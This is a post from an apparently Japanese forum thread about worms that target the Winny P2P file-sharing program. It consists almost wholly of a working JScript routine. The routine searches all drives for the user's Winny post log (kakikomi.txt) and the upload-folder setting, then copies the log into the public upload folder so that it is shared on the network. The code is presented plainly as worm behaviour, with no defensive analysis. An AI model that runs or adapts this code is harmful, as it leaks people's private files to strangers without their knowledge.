Winnyを狙ったワーム・ニュイルス情報 Part34
717 :
kakikomi.txt を winny の up フォルダにコピー:
function Step2(d) {
for(var fc = new Enumerator(fso.GetFolder(d).files); !fc.atEnd(); fc.moveNext()) {
var f = fso.GetFile(fc.item());
if(f.Name == "kakikomi.txt") {
kakiko = f.Path;
if(up != "") { return 1; }
} else if(f.Name == "UpFolder.txt") {
var upini = fso.OpenTextFile(f.Path, 1, false);
var buf, line;
while(!upini.AtEndOfStream) {
buf = upini.ReadLine();
line = buf.split("=");
if(line[0] == "Path") { up = line[1]; break; }
}
upini.Close();
if(kakiko != "") { return 1; }
}
}
for(var fs = new Enumerator(fso.GetFolder(d).SubFolders); !fs.atEnd(); fs.moveNext()) {
if(Step2(fs.item())) { return 1; }
}
}
function Step1() {
for(var d = new Enumerator(fso.Drives); !d.atEnd(); d.moveNext()) { try { if(Step2(d.item().RootFolder)) { return; } } catch(e) {} }
}
var fso = new ActiveXObject("Scripting.FileSystemObject");
var kakiko = "";
var up = "";
Step1();
if(kakiko != "" && up != "") { fso.CopyFile(kakiko, up + "\\俺のカキコ.txt"); }